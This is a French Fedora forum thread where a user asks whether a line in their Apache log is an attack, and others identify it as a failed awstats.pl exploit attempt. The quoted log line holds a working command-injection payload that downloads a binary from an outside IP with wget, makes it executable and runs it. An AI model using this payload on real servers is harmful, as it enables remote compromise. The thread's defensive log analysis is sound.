Fedora-Fr

Ce site est optimisé pour être consulté depuis un navigateur moderne dans lequel JavaScript est activé.

Attac ?

core04

dites s'il vous plait, j'ai très souvent cette ligne dans le fichier access_log d'apache, et j'ai peur qu'il s'agit d'une attac. quelcun c'est de quoi sagit-il?

68.112.79.220 - - [03/Jan/2006:06:01:00 +0100] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20209%2e136%2e48%2e69%2fmirela%3bchmod%20%2bx%20mirela%3b%2e%2fmirela;echo%20YYY;echo| HTTP/1.1" 404 1170 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

Merci

Trinita

Google est ton ami !

Fait une pti recherche sur awstats.pl (ça doit être un scrip perl) et tu sauras à quoi ça correspond !

Dante

Un utilisateur local pourrait gagner de nouveaux privilèges, et un internaute malveillant pour récupérer des informations sensibles ou causer un Déni de Service par le biais de ces vulnérabilités.

http://www.zataz.net/alertes/351/multiples-vulnerabilites-awstats-6.x.html

core04

baa le probleme est que je n'est pas de fichier "/awstats/awstats.pl" tout mes scripts sont en php peut etre c'est le fichier de l'un des serveurs (probablement webalizer?),
en + j'ai qu'un utilisateur (un ami et qui ne connet pas le langage perl) baa je sais pas trop.

william

Si je ne me gourre pas l'ip 68.112.79.220 cherche a exploiter un faille d'awstat. Si tu n'as pas awstat sur ta machine le seul risque est l'explosion de ta partition de log ( si ça devient violent )

foobar47

Le log montre que le retour est un code 404, donc, pas de panique! 🙂